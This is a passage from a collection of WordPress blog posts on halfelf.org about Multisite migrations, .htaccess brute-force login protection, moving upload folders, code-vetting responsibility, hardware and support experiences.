Yes, those reviews that are clearly full of anger should be ignored. And yes, those will make you feel like total shit. But the other ones, the ones where someone says “I wanted to like this, but the developer pushes an update every week and it really isn’t adding anything useful. This plugin has become bloatware and I’m not using it anymore.” Well hey, that’s actually a very nice one-star review. It’s a sucky one to get, but it’s fair and just.
So why do people often demand we delete those one-star reviews, or reply back that the user has no vision and cannot see how the plugin develops, or that the code is the dev’s and you should thank your stars it’s free? It goes right back to how we develop. We’re not used to the feedback and constant communication with others about our code. We don’t present our code to the masses until it’s at a usable or workable stage. And there are practical reasons why, but it means we just don’t know what it will be like to work with others to develop until it happens, and it seems to always happens in bad way.
What should you do? Keep in mind that the people who hate your code may have a point. Try to be objective and see it fairly. But don’t be a pushover and don’t let the people who are legitimate mean people get you down. It’s not easy, though. It helps if you have other people to work with on your code projects. Trusted beta testers, or even developers who are willing to take a look. Get yourself out of your isolation and you’ll find it’s a whole lot easier to deal with the crazy, if only to have someone to laugh with.
**Categories:** How It Is
**Tags:** development, open source, support
---
### [Mailbag: Have You Ever Split a Multisite?](https://halfelf.org/2015/mailbag-ever-split-multisite/)
**Published:** January 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A non-theoretical post about how I split up a Multisite.
**Content:**
That was the question.
> Have you ever split a multisite? If so, how?
I wrote about [Breaking Up Multisite](https://halfelf.org/2013/breaking-up-multisite/ "Breaking Up Multisite") before, but this was more specific.
Yes. And it’s a funny story.
I should preface the story with the reminder that in general when someone asks me how to do it, I casually mention that they can’t pay me enough to do it. This turned out to be inaccurate, as I was paid to do it. One of my first tasks at [DreamHost](http://dreamhost.com) was to take three separate sites and turn it into a two-site Multisite network. Two blogs were merged into one, then the new site was moved to Multisite. We did that with the export/import tools in WordPress. Fast-forward two years (my how time flies, Simon!) and now I’m asked to un-do it. But they only want site #2 now. The main site is being deleted.
I was actually glad, since this gave me a chance to handle the site properly and upgrade it correctly. I could clean out the old posts and content, re-sync users, tighten security, and undo the nightmare that was our old process. Plus the exercise of unraveling would give me more experience in WordPress shenanigans. And finally, it answered the question of how much you would have to pay me in order to do this (answer: more than most people would).
It started out as a massive 30 step process, but after running through it a few times, I was able to speed it up into five, simple, sections. I make use of [WP-CLI](http://wp-cli.org/) here, but if you don’t have it you’ll want to get [interconnectit’s search and replace](https://github.com/interconnectit/Search-Replace-DB) tool to save you a migraine.
**Bring it Local**
I use Vagrant and I made example.dev for this.
Then I just copied down all the files from `example.com/wp-content/blogs.dir/2/files/` to `example.dev/wp-content/uploads-orig/` and did a database dump. Since I use WP-CLI, this was just a `wb db export` command.
That was the full database, though, all 64megs of it, and I only wanted the second site. But we’ll get there in a second. I knew I had WP-CLI on my test box, but if I didn’t, I would have zipped the file in order to use phpMyAdmin (which would make it about 6megs). I’m lazy. I like GUIs. Either way, I imported the entire database to my new server.
I also made a new `wp-config.php` file while I was at it, for multiple reasons. The one we were using did a check to see what domain you were on, and loaded different database params based on that. It was a cool bit of code, but it was unnecessary here. Making a new config file is easy (for me), and it ensured I had it clean and only set to a single install of WordPress. After all, I’m de-multisiting.
**Fix the Tables**
Of course, I had to clean that database. The first step was simple and I dropped *all* `wp_FOO` tables except `wp_users` and `wp_usermeta`. That left me with all the `wp_2_` tables.
Next I renamed `wp_2_` to `wp_` so I could have everything nice and orderly. But there’s a catch there, becuase there’s an option in my `wp_options` table that has the name `wp_2_user_roles`. Can you see what’s wrong? I need that to become `wp_user_roles` *and* I need to update any usermeta.
Break out WP-CLI again and run this: `wp search-replace "wp_2_" "wp_"`
So nice. So easy. That actually took care of 100% of the issues with the table renames. Were I doing it manually, it would be time for tears in your beers.
**Clean the Images**
With WP-CLI this is a snap:
```
wp search-replace http://example.com/foldername/files/ http://example.dev/wp-content/uploads/
wp search-replace http://example.com/foldername http://example.dev
wp search-replace wp-content/blogs.dir/2/files wp-content/uploads
```
I ran it like that for a reason. I like to do my searches in order of smallest catch to biggest, and this way it kept my possible gaffs to a minimum. I knew I had to fix all the images *and* post content, so it was safer this way.
**Clean up Users, Themes, and Plugins**
We had a lot of old, duplicate, users who had no posts or had left the project. I went over everyone’s permissions, dropped them down as low as I could, and removed half the admins. It’s just a good time for that.
Next I reinstalled themes and plugins. I could have just copied them down, but I reinstalled everything because I wanted to take the time to make sure they were all clean and the latest versions. This is also where I paused to do a security review of everything we had.
**Move it Live**
Well now we’re just moving WordPress like normal. Copy it all up via FTP, copy up the database, run a last search replace to change example.dev to the real, new, domain (which I don’t actually know yet know), and it’s done. If I use wp-cli again, this will be as simple as running this: `wp search-replace example.dev newsite.com`
All that extra work I did before pays off here.
The nice thing about this is that I could have done this and then keep the main site if I’d wanted to. I didn’t, but I could have easily deleted all the `wp_2_` tables and just cleaned up the multisite stuff. The headache is I’d have to do this multiple times if I’d had, say, ten sites on the network and wanted to move them all. If that had been the case, I would have only exported the `wp_2_` tables and the `wp_users` and `wp_usermeta` ones.
But yes. I have un-multi’d a site.
**Categories:** How To
**Tags:** mailbag, multisite, wordpress
---
### [WordPress Login Protection With .htaccess](https://halfelf.org/2013/wp-login-protection-htaccess/)
**Published:** April 12, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No ModSecurity? No problem (unless you're on nginx)! You can still do things to help protect yourself from the insanity of people hammering your server trying to log in to WordPress.
**Content:**
The Brute Force attack on WordPress and other CMS apps is getting worse and worse right now. Some people don’t have [Mod Security](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity") (or can’t get it to work on their server), and asked me if there was anything to be done. Yes, you **can** still protect your site from those brute forcers via .htaccess.
To be honest, I worried about posting this, since the last thing I want to do is to inspire hackers to do even more inventive things, but I can’t think of another way to get the word out. I want to say this: If your site is being hammered hard by these attacks, *CONTACT YOUR WEBHOST RIGHT NOW*. The best protections will be done on their end, because using WP to try and stop this still means people are hammering WP.
So okay, what can you do with .htaccess? Well, taking into account the ages old .htaccess block that has been posted up at WordPress.org, you can [block comments made by people with out a Referrer Request](http://codex.wordpress.org/Combating_Comment_Spam/Denying_Access#Deny_Access_to_No_Referrer_Requests), I made the logical extension!
```
### Blocking Spammers Section ###
# Stop protected folders from being narked. Also helps with spammers
ErrorDocument 401 /401.html
# Stop spam attack logins and comments
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} .(wp-comments-post|wp-login)\.php*
RewriteCond %{HTTP_REFERER} !.*(ipstenu.org|halfelf.org).* [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule (.*) http://%{REMOTE_ADDR}/$ [R=301,L]
```
So the rule does the following:
1. Detects when a POST is being made
2. Check to see if the post is on wp-comments-post.php or wp-login.php
3. Check if the referrer is in your domain or if no referrer
4. Send the spam-bot BACK to its originating server’s IP address.
The reason my referrer line has `(ipstenu.org|halfelf.org)` is because … well I have multiple domains on my multisite! If you don’t, you can just have it be one domain, but this lets me have one line instead of eight (yes, eight, you heard me). Not all of them are .org, but if they were, that line would look like this:
```
RewriteCond %{HTTP_REFERER} !.*(ipstenu|halfelf)\.org.* [OR]
```
Only make variable what you have to, eh?
*Edit: If you’re using Jetpack for comments, you should also add in `jetpack.wordpress.com` as a referrer.*
Above that, though, you saw the 401 rule, right? The 401 takes any errors, which can be abused by this, out of the hands of WP. *However* for this to work best, you have to actually make a 401.html file.
Here’s mine:
```
401 Error - Authentication Failed
401 - Authentication Failed
Through a series of highly sophisticated and complex algorithms, this system has determined that you are not presently authorized to use this system function. It could be that you simply mistyped a password, or, it could be that you are some sort of interplanetary alien-being that has no hands and, thus, cannot type. If I were a gambler, I would bet that a cat (an orange tabby named Sierra or Harley) somehow jumped onto your keyboard and forgot some of the more important pointers from those typing lessons you paid for. Based on the actual error encountered, I would guess that the feline in question simply forgot to place one or both paws on the appropriate home keys before starting. Then again, I suppose it could have been a keyboard error caused by some form of cosmic radiation; this would fit nicely with my interplanetary alien-being theory. If you think this might be the cause, perhaps you could create some sort of underground bunker to help shield yourself from it. I don't know that it will work, but, you will probably feel better if you try something.
```
There are more WordPress specific tips and tricks on the [WordPress Codex Brute Force Attacks](http://codex.wordpress.org/Brute_Force_Attacks) which we Forum Volunteers have been working on all morning. If you want to do even more, then you’ll want to password protect your wp-login.php page, or perhaps whitelist it so only your IPs have access. Personally, I’m not doing that (I have ModSec working) and I’m not using any plugins. While the plugins are great, they still require WordPress to process something, which means that while they can, and will, prevent people from getting in, they won’t stop the traffic on your server.
I wish I knew more about nginx, but if someone can translate all those things to nginx, please post a link and share it! We need to know!
At a last gasp, [CloudFlare](http://blog.cloudflare.com/) and [Sucuri CloudProxy](http://cloudproxy.sucuri.net/) both claim to stop this before it hits you. [I don’t use either](https://halfelf.org/2013/i-dont-understand-cloudflare/ "I Don’t Understand CloudFlare"), as you may know, so I can’t speak for them, but if your host is unable of doing anything, and you can’t make anything work, you may as well try it.
**Categories:** How To
**Tags:** htaccess, security, wordpress
---
### [Dumping ms-files](https://halfelf.org/2012/dumping-ms-files/)
**Published:** December 24, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Two years ago I wrote up how you move your main site into blogs.dir. Now that 3.5 is here, I decided to write how you move everything to uploads/sites. You don't have to do this to keep using WordPress, I just thought it would be fun.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2012/12/trash-can.jpeg)**NOTE: You do not, under any circumstances, have to do this to continue using WordPress Multisite. I just wanted to see if I could.**
I have been toying around with this. Since WP 3.5 doesn’t use ms-files anymore, I wanted to see how much of a pain this would be. While I was at the DMV (I now have a California Drivers License), I started sketching out the methods and possibilities for how one might do this as safely as possible, without bolluxing up your site. I got about 90% successful with it, so this is something I would never suggest you do on a massive, live site. If you compare it to what I did to [move images from uploads to blogs.dir](https://halfelf.org/2010/moving-your-images-for-multisite/) for the main site, it’s far more complex and annoying.
Do you **have** to do this? Again, no! Everything will work just fine. Can you do it? Sure. Why did I? Support. I already know all the mishegas with blogs.dir, but the new location, and it’s lack of ms-files, promises other, weird, errors. I want to repeat, you don’t need to do anything. The Core Team was fantastic with the work they did to [turn off ms-files](http://core.trac.wordpress.org/ticket/19235) for fresh 3.5 and up installs is nothing short of phenomenal. This was just to assuage my curious nature, and learn more about the way things work.
You ready? Here we go.
I decided to move the images at http://test.ipstenu.org/ to start with, so everything will use that as my example. This is after I played with it on a local site and got my steps mostly solid. I knew that live is always different than test, so I backed up the DB first (always, always, backup first!) and went to town.
**Move the images**
This is obvious. Move your images from `blogs.dir/SITENUM/files/` to `/uploads/sites/SITENUM/` (or make an alias). I went and did it via command line in the `/uploads/sites/` folder, doing this:
```
$ cp -r ~/public_html/wp-content/blogs.dir/10/files .
$ mv files 10
```
Lather, rinse, repeat. I could have scripted it, but I was working out the kinks until I had two left.
**Edit all sites**
Upload Path, Upload URL Path and Fileupload Url. You can blank them all out.(Corrected thanks to Nacin.)
[](https://halfelf.org/wp-content/uploads/sites/2//2012/12/Screen-Shot-2012-12-24-at-24-Dec-5.47.09-PM.png)
Since you’re blanking it out for everyone you can probably do this via SQL, but since I was doing the sites one at a time, I did them one at a time.
**Fix the Database**
Search/replace each posts table for each site, changing /files/ to /uploads/SITENUM/
```
UPDATE wp_10_posts SET post_content = REPLACE (
post_content,
'="http://test.ipstenu.org/files/',
'="http://test.ipstenu.org/wp-content/uploads/sites/10/');
```
[](https://halfelf.org/wp-content/uploads/sites/2//2012/12/3b9c36e753537f80_garbage_can.xlarger.jpeg)Why did I do it that way? Because of *this* blog. I talk a lot about code here, and I know I’ve talked [about moving files around before](https://halfelf.org/2010/moving-your-images-for-multisite/). If you don’t do that, you’re okay with a less precise search, but why bother? This works, it’s safe, and I’d use it again.
That got annoying really fast. I went and grabbed my favorite [Search And Replace for WordPress (and any other database)](http://interconnectit.com/products/search-and-replace-for-wordpress-databases/) tool. Seriously I love that. I used that to follow up, change everything, and it actually worked really well for me.
**Another DB Fix!**
One of the changes in 3.5 was turning off rewriting. This took me for*ever* and a day to find. After I did that, my images showed up fine, but the little buggers kept uploading to /files! Turns out it was all because of the site option `ms_files_rewriting`
The way I got around this was by putting the following in my wp-config.php file:
```
define( 'UPLOADBLOGSDIR', 'wp-content/uploads/sites' );
```
And then I ran this in SQL to turn off ms\_files\_rewriting. Or so I thought. More in a second.
```
INSERT INTO `my_database`.`wp_sitemeta` (`meta_id`, `site_id`, `meta_key`, `meta_value`) VALUES (NULL, '1', 'ms_files_rewriting', '0');
```
I came up with that after reading through [`/wp-includes/functions.php` line 1515](http://core.trac.wordpress.org/browser/tags/3.5/wp-includes/functions.php#L1515).
For *most* sites, this worked, but in my later work, I determined that it actually wasn’t working. It was ignoring this. I don’t know why, but every test I did merrily ignored this setting, so I finally growled and wrote this mu-plugin function:
```
function stupid_ms_files_rewriting() {
$url = '/wp-content/uploads/sites/' . get_current_blog_id();
define( 'BLOGUPLOADDIR', $url );
}
add_action('init','stupid_ms_files_rewriting');
```
It’s stupid simple, it’s probably not a good idea, but it works for the three sites that have the stupids.
**Finish up .htaccess.**
.htaccess, remove the ms-files.php line for ms-files, or comment it out. This is pretty simple.
[](https://halfelf.org/wp-content/uploads/sites/2//2012/12/ar12586589720461.png)**Why not move the main site to /uploads/?**
Because of the way I fixed the uploadblogsdir. It defaulted everyone to /sites/ and after an hour I said fuck it.
**Any weird problems?**
Yeah, two sites (this one and my grandmothers) decided that they wanted to be repetitious and spat out URLs like this: `wp-content/uploads/sites/8/sites/8/`
Since that wasn’t right at all, and I was a little too eggnoggy to parse why, I did this:
```
RewriteCond %{HTTP_HOST} ^taffys\.org
RewriteRule ^wp-content/uploads/sites/8/sites/8/(.*) /wp-content/uploads/sites/8/$1 [L,R=301]
```
I swear I have no idea why three sites got stuck with /files/ and two more decided to double down, Vegas style, but frankly I’m pleased I got through this far on my own.
I can’t stress enough that you *do not* have to do this!
**Categories:** How It Works, How To
**Tags:** coding, htaccess, multisite, plugins, wordpress
---
### [Whose Responsibility Is It?](https://halfelf.org/2014/whose-responsibility/)
**Published:** December 5, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What can go wrong? How likely is it? What are the consequences? If it's your business, you have to know.
**Content:**
When WordPress 4.0.1 came out, a small number of sites broke.
For a while, we’ve been touting that *minor* releases to WordPress core, the ones we auto-upgrade for you, are very safe, very tested, and very important. While all this is true, it has brought a few people complaining to me that obviously I was wrong.
It’s true that the 4.0.1 release broke people. It was an object lesson in why I tell people [not to reinvent the wheel](https://halfelf.org/2014/dont-reinvent-wheel/). But this upgrade situation does not mean the upgrades aren’t safe, secure or smart. It does bring thoughts to mind, like what my friend David talks about when he considers [WordPress at the enterprise level](http://davidlaietta.com/wordpress-enterprise-level-solutions/). I know people who are using this failed upgrade scenario as a reason to tout that WordPress isn’t ready for big business, but I think they’re looking at it from the wrong perspective.

Let’s step back.
I used to work for The Man. I’m well aware of the machinations you go through to upgrade anything at a massive enterprise. One of the things they do is a code review. Every single upgrade is checked and tested and a dry-run of the upgrade is run to ensure everything works the way they think it should. By allowing WordPress auto-upgrades, you remove that ability. For a *massive corporation*? I would turn off the auto-update.
But at the same time, this mythical major company running WordPress would have at least one person who *knew* WordPress. They would have someone who’s job it was to review every single bit of code that went into their WordPress site. Each plugin would be checked, tested, evaluated for security, and only installed if that WordPress Checker said it was good. Because that’s exactly what you *must* do in any and all enterprise situations.
David’s viewpoint is that the vetting of a site should be delegated.
> My gut reaction to say that they should know better has to be tempered with the fact that no, they should not have to. It’s the job of every site owner to vet their system, but to make a platform that is truly global, that vetting should be delegated. Web hosts and security analysts should vet code for collisions and bugs. Theme and plugin shops should ensure that their products adhere to best practices. Putting accountability for the full stack on each site owner is not only inefficient, but impractical. Inherent trust should exist that code in the official repository maintains a baseline level of code, trust that is eroded when the problems that occurred with a subset of sites on this update occur.
And here, he and I disagree somewhat.
It’s the job of everyone who uses software to be aware of what they’re doing. Vetting the software *before it goes in to your system* has to be someone’s job. WordPress core does an amazing job of this for you. WordPress core is safe. The 45k plugins and themes in the world don’t always meet the same level of robust checking. Which means when you introduce WordPress to your environment, you absolutely have to seriously review those third party odds and sods you want to use because they’re so shiny and cool.
Web hosts vet code for collisions, sure. We do at DreamHost. That’s part of my and [Mike’s](http://www.getsource.net/) jobs! We know what’s going into WordPress and if it’s going to blow things up at DreamHost for our customers. But like the site owner who found her site down one morning because we’d upgraded her from PHP 5.2 to 5.4 and it broke her WordPress 2.5 site, we cannot account for everything.
I think there’s a need for security specialists to review plugins, in a public forum, and point out who’s not doing things in the best way. I also think that there’s a need for developers to remember there’s a reason why we do things a certain way, and while it’s fine not to, you have to keep in mind that it’s now your responsibility to keep a close eye on anything that changes in core that *might* cause your code not to work as well.
For example. If I wrote a plugin that worked around the shortcode API for whatever reason, I would have a custom query on trac for [any ticket related to Shortcodes](https://core.trac.wordpress.org/query?status=accepted&status=assigned&status=new&status=reopened&status=reviewing&component=Shortcodes&order=priority) and have it as an RSS feed to monitor. Or I might even subscribe to the [trac firehose](http://lists.automattic.com/mailman/listinfo/wp-trac) and use a filter to pull out anything that so much as mentioned the word. Because I’ve now made a change that I know *might* be a problem someday.
Every business owner should know the risks of all the software they use, be it website or desktop. This responsibility is the cost of doing business. The size of the business and the importance of the software will change what resources you can afford to allocate to that part of your business, but you absolutely cannot ignore it.
While I really want to say that because WordPress core does due diligence you don’t have to, I would be a lying liar who lies. Even if we do as David suggests and have everyone in the world making sure things are vetted and checked and stamped, it still requires the owners of a site listen to that information and not use the code that’s less optimal. Enforcing that would be impossible unless you wanted to suggest that WordPress outright deactivate code that doesn’t use the proper APIs. That would put a lot of weight on WordPress and slow it down and be pretty annoying for people who are legitimately using non-standard methods of development and implementation.
No matter what, at the end of the day, the person who is responsible for the code quality is the person who wrote and maintains it. But the person responsible for their site is the person using the code. You have to know what code you’re putting into the site and be aware of the risks you’re introducing to your environment by doing so. If your website is your entire business, you cannot afford to be cavalier about these things.
Disasters happen. Understanding the risks will prepare you for dealing with them when they do.
**Categories:** How It Is
**Tags:** development, essay, risk, security, wordpress
---
### [Even Better Drag And Drop!](https://halfelf.org/2014/even-better-drag-and-drop/)
**Published:** October 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Another really quick bit of fun with dragging media into your browser.
**Content:**
Not that long about I realized you could [drag a file to the “choose file”](https://halfelf.org/2014/drag-to-chose-file/ "Drag to Chose File") button.
On Chrome you can also drag it from the download bar.
Here’s my file on the download bar:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/dfw-fileonthebottom.png)
And when I click and drag it up…
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/dfw-filedragged.png)
Sometimes it’s really the little things that brighten my day. This works for the ‘choose/select file’ buttons as well, and clearly works in WordPress for media. This also means when I download an image from one of my favorite free image sites, I can click on it in the download bar to edit it and then drag the image from the bar to upload the edited image. I never have to open the downloads folder.
Of course, my downloads folder gets pretty full after a while.
**Categories:** How To
**Tags:** browser
---
### [Portable Charging](https://halfelf.org/2014/portable-charging/)
**Published:** October 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A couple thoughts on the portability and usability of charger.
**Content:**
I travel a lot, and as of last WordCamp San Francisco, I realized I needed a way to charge my phone on the go. The issue was that I wasn’t always in a place where I could easily use a plug, and outlets didn’t always work. So I wanted something I could carry with me, plug in while at a restaurant and charge when I wasn’t using it.
After asking around, I picked up an Anker, which claimed it could charge my iPhone 5 twice. I’ve tested it at 1.75 charges, but that’s usually good enough for me. This year, I got two more types. An Anker from WordCamp NYC and a PowerBank from WordCamp Miami.
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/IMG_1701.jpg)
Hands down, the Anker wins. The PowerBanks don’t hold as much of a charge as the Ankers, and they don’t retain their charge quite as well. They’re smaller, so this makes sense to me. Less battery capacity. But the fact that they lose their charge faster means I have to always remember to charge them up. The Anker? Well I didn’t charge the WordCamp NYC one after I got back from NYC, and when I went to charge it up almost 2 months later, it was still half charged. In the same time span, the PowerBanks were dead.
The downside for all chargers is I have to remember to charge them, which is why they’re pretty useless for my wife who never remembers to charge her phone, and asking her to remember to charge *another* device won’t work at all. But for me, I toss the two Ankers into my purse and about once a month I charge them up. Or if I’ve used one, I charge it right away. That way, when I get stuck in an airport for god knows how many hours, I’m doing just fine.
**Categories:** How It Is
**Tags:** hardware
---
### [Replacing a Hard Drive](https://halfelf.org/2014/replacing-hard-drive/)
**Published:** October 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A hardware moment when in I replace my Hard Drive. Don't drop your laptops, people.
**Content:**
Once in a blue moon I play with hardware. My home laptop has been dropped more times than I care to admit, and it’s finally started to make bad noises. And be slow. As in, I can run one app at a time slow. So I buckled down and put the comic book money into a new hard drive.
I picked [Other World Computing’s Extreme Pro 6G SSD](http://eshop.macsales.com/search/Mercury+Extreme+6G+480GB). At 450G.
The content on my laptop has been around since I was in college and bought my first laptop. Literally. I have every paper I’ve written since high school on here, plus music I wrote, plus videos. It’s a lot. My old HD was 300G and I was always low on space. I also make copious backups to Time Machine. The last four times I got a new computer, I did a Mac transfer. This content, hell, this user account, has been around.
You bet your ass I kept it again.
Installing the new HD was easy. Unscrew the back, disconnect the battery, remove the old HD, get the mount screws out, put them and the sticker on the new HD, reconnect everything. screw it’s all back together. Next, though, is the hard part.
I took my old HD and put it in an external drive case. OWC offers a deal where you get the case and a USB connector for cheap, plus all the tools. Perfect. While I have Time Machine, an over air restore would be 24+ hours. A USB restore, provided the HD doesn’t break, would be about 4. Instead of installing the OS and copying things over, I did a restore from Source.
Once I got the old HDD in an enclosure, I attached it to your Mac via USB. Then I rebooted the Mac, which took me to OS X Recovery. From there, I clicked on *Open Disk Utility* and picked the new drive from the left hand pane. There I chose to *Erase* it and format it to Mac OS Extended (Journaled).
Once done, I clicked on the *Restore* tab. I picked the external HD (the old one) as my ‘Source’ and the new one as my ‘Destination.’ Illogically, this is a drag and drop step. Sorry about the photo:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/By5zG1zCIAAfidy.png)
When the data transfer was completed, it was as simple as a restart.
If you’re skittish, you can put the new HD in the enclosure and copy it that way, booting off USB when you’re done to test it. I’m a little more daring.
**Categories:** How To
**Tags:** hardware, macintosh
---
### [Mailbag: Translations](https://halfelf.org/2014/mailbag-translations/)
**Published:** August 15, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The second hardest thing about translations is trusting the translator.
**Content:**
The second hardest thing about translations is trusting the translator.
I sometimes joke that I barely speak English, so when someone said he translated my entire ebook about Multisite into French, I was delighted and scared. While I do kind of understand French, I’m not qualified to translate it, so having someone else do it would be a fantastic offering. But since I can’t translate it, I have no way of knowing how to gauge if they understood my meaning, which is hard enough to figure out in English.
After a while, I decided to tell him that I’d like to see them, but I wasn’t sure if I’d want to put them up online to sell or give away. Of course he was welcome to give them away all he wanted!

The problem isn’t that I trust him, or not, but that I don’t have a failsafe. With coding, I have coworkers who can spot check me. With blog posts I could use an editor, and it’s the same with books. If this was a contracted book, I’d be able to let my publisher find someone we all agree fits the bill. When you’re on your own, it’s a lot harder.
The same goes with my plugins. I don’t actually package anything in my plugins by way of translations. The closest I have is my Varnish Plugin, which has a folder on github for people to store translations. Since they don’t *have* to be included in core, it’s easy enough for me to say “Use at your own risk.”
With code, there’s a lot more you have to do in order to make your code translatable though. With my books, I just write. With my code, I have to remember to escape properly. Which I nearly never get correct the first time out. With code, you have to remember from the start to write your words in a way that can be translated, and you have to worry every time you change things that it will be broken for everyone on the next update.
It’s chaining, really, to realize I can’t just ‘write’ in my plugin like I do on my blog.
So what’s the question and the answer? Should you translate your work? Maybe. You should always make it translatable, but whether or not you should manage the translations is a really strange question without a perfect answer. Unless you’re fluent in two languages.
I keep the following links bookmarked, just to keep me on track when I start editing any plugin, and I try to work backwards to fix all my old ones, but it’s really slippery.
- [Internationalization: You’re probably doing it wrong](http://ottopress.com/2012/internationalization-youre-probably-doing-it-wrong/ "Internationalization: You’re probably doing it wrong")
- [poedit](http://poedit.net/ "poedit")
- [I18n for WordPress Developers](https://codex.wordpress.org/I18n_for_WordPress_Developers "I18n for WordPress Developers")
- [More Internationalization Fun](http://ottopress.com/2012/more-internationalization-fun/ "More Internationalization Fun")
**Categories:** How It Is
**Tags:** coding, mailbag, wordpress
---
### [Mailbag: I Don't Woo, But I Do CPT](https://halfelf.org/2014/mailbag-woo-cpt/)
**Published:** August 8, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The art of Custom Post Types and control
**Content:**
A preface to this, I don’t actually use WooCommerce so I can’t give anyone a specific answer to that, but Geovanni asks:
> Im in a pinch. I have a woocommercesite and i want to make a part where i can have users who already registered can have their your own URL and page where they can make post. I read a post u made on ,but u didnt say anything about how u got it to work or if u have. Can you help me?
This was a post from two years ago, where someone asked the following:
> I’m working on a WordPress site that will allow artists to post their own events. I can’t find a plugin that will allow these posts to link up to their own pages. Each user that registers has their own URL and this page has all of their information. I’m trying to make sure that the tour dates posted aren’t ending up on every users page!!
>
> Any help would be greatly appreciated!
I suggested that one could accomplish this with Custom Post Types, which was a theoretical remark, since I didn’t have the details, but when the OP later said “I need everyone to be able to create an event and post it on their own page…” I agreed it would probably be a better fit for Multisite, since they may have more than one of their own events.

So what did I mean about Custom Post Types? Well sometimes the answer is to think about the problem in different ways. Obviously the easiest thing in the world is to tell people ‘their’ page is http://example.com/author/name, and then have them post in a specific category (say… events). Thus all events are in an event group, and everyone has their own page. But I also know users can be a little confused by WordPress and categories, so you have some options here, when it comes to management.
First of all, there are plugins like [Restrict Categories](https://wordpress.org/plugins/restrict-categories/), which let you restrict users to a category. That works, but if you don’t want the URLs to have
```
/category/
```
in the slug for just that one thing, you really do need to look at Custom Post Types. That leads us down the road of things like [AAM – Advanced Access Manager](https://wordpress.org/plugins/advanced-access-manager/) which will let you make a custom role for ‘Event Manager’ who can perhaps manage all events, and ‘Event Poster’ who can only post.
All this does highlight a flaw/annoyance in WordPress, and that is complex roles. WordPress’s role system is, at once, stupid simple and crazy complex. It’s a total headache to restrict people to specific areas, and in general, I hate having to do it because I find I spend more time messing with that than I do working on the site. At the same time, I dislike giving people more ‘power’ than they need. I can’t make a person a ‘comment moderator’ without giving them access to write/edit posts, for example, which is not a far-fetched wish. You can use plugins, like Disqus, to do that, but that means you’ve offloaded comments, and I don’t like that.
Of course… for the question posited by Geovanni the answer is “Use WordPress Multisite.” Install WordPress, activate Multisite, give the user a site, let them go to town.
That, of course, may not answer all his questions.
**Categories:** How To
**Tags:** administration, mailbag, wordpress
---
### [Don't You Give That Girl a Gun](https://halfelf.org/2014/dont-give-that-girl-a-gun/)
**Published:** August 6, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When people insist on doing things that will hurt their site, how far does it go?
**Content:**
His WordPress site was hacked.
He’d reported it as a ‘slow site’ and the techs had done an amazing job helping him clean it up, but when it landed in my lap, I took one look at saw backdoors, permissions issues, and vulnerabilities galore. So I did the reasonable, responsible, fair thing. I reinstalled the files, I cleaned up the plugins, and then I saw his theme was behind a paywall, old, and, worse, no longer supported. So I removed the theme from his website (putting it where he could get it back) and switched him to Twenty Fourteen. Then I explained in a rather long email about how his site was hacked, how I determined it, and what he needed to do to get the theme back (basically download it again from the vendor).
He was mad.
He argued that I had broken his site and it no longer looked right. This was true. He complained that my service was deplorable because his site looked wrong. This is debatable. He groused that I had to put the theme back. This was not going to happen.

It’s the service conundrum. If you know something’s wrong, do you leave it alone or do you fix it? When I see people post their passwords in public places, I delete them and use bold *and* italics to chastise them. When I see people doing dangerous things like editing core, I do the same. I try really hard to educate and warn people, so they can be protected from shooting their own foot off. So when I have a rabid customer telling me I need to let them do it … I don’t.
My job is really to help people fix their sites, and that tends to mean my job is to debug and educate and provide options. But when someone has an abjectly wrong bit of code, like the bevy of people who had their old themes and plugins break when we upgraded them from PHP 5.2 to 5.4, I will regularly go that extra mile and fix the code. That doesn’t mean I don’t educate them, they usually get a quick lecture about why we upgrade promptly, but when someone’s that far off normal that their code won’t work on PHP 5.3, I assume they just don’t know anything.
The worst part about it, though, is when they argue. They’ve asked you for help and advice, you provide it, they demand you fix it, and at a certain point… they’re just asking the wrong person. Your webhost is not your consultant. While many times we can and will fix the site, when it gets down to code that isn’t working, we can’t be expected to re-write all the code.
Sometimes we’re going to be the bearers of bad news. Your theme is hacked. Your plugin is vulnerable. Your code won’t work on this server because of reasons. We’re never making an excuse, but we are trying to explain to you why things happen.
Now I know I’m a little weird, because I think that everyone should be educated in how their site works. Not that I think they need to learn to code, but to understand what’s going on, in broad terms, means you’ll be able to help us help you fix your site. And with that, I expect people to actually listen to what the support techs say. We won’t always be right, especially not with WordPress which has infinite combinations of plugins and themes (it’s a mathematical impossibility to be able to be familiar with everything) but for the most part, we are all trying to learn to be better and faster at debugging.
But. What do you do when the person you’re trying to help insists on hurting themselves? Like the person with the hacked theme, maybe you’re lucky and your company has a policy that once you know something is malware, you’re legally not permitted to reinstall it. But what if they decide to use a plugin that has a maybe backdoor, like an older version of TimThumb? How big a deal is that? Is it better or worse than helping someone do something that will absolutely kill their SEO?
For me, it’s pretty simple. My company *does* have a no-malware policy, and I can fall back on that. When I volunteer, I often tell people “I will not assist you in doing something I don’t feel is right.” and I walk away. Because I feel strongly that I should educate you, but also that I should never enable you to hurt your site.
**Categories:** How It Is
**Tags:** essay, security, support
---
### [When Sites Go Down](https://halfelf.org/2014/when-sites-go-down/)
**Published:** July 9, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I lost a day of being able to work, but not my faith in my host.
**Content:**
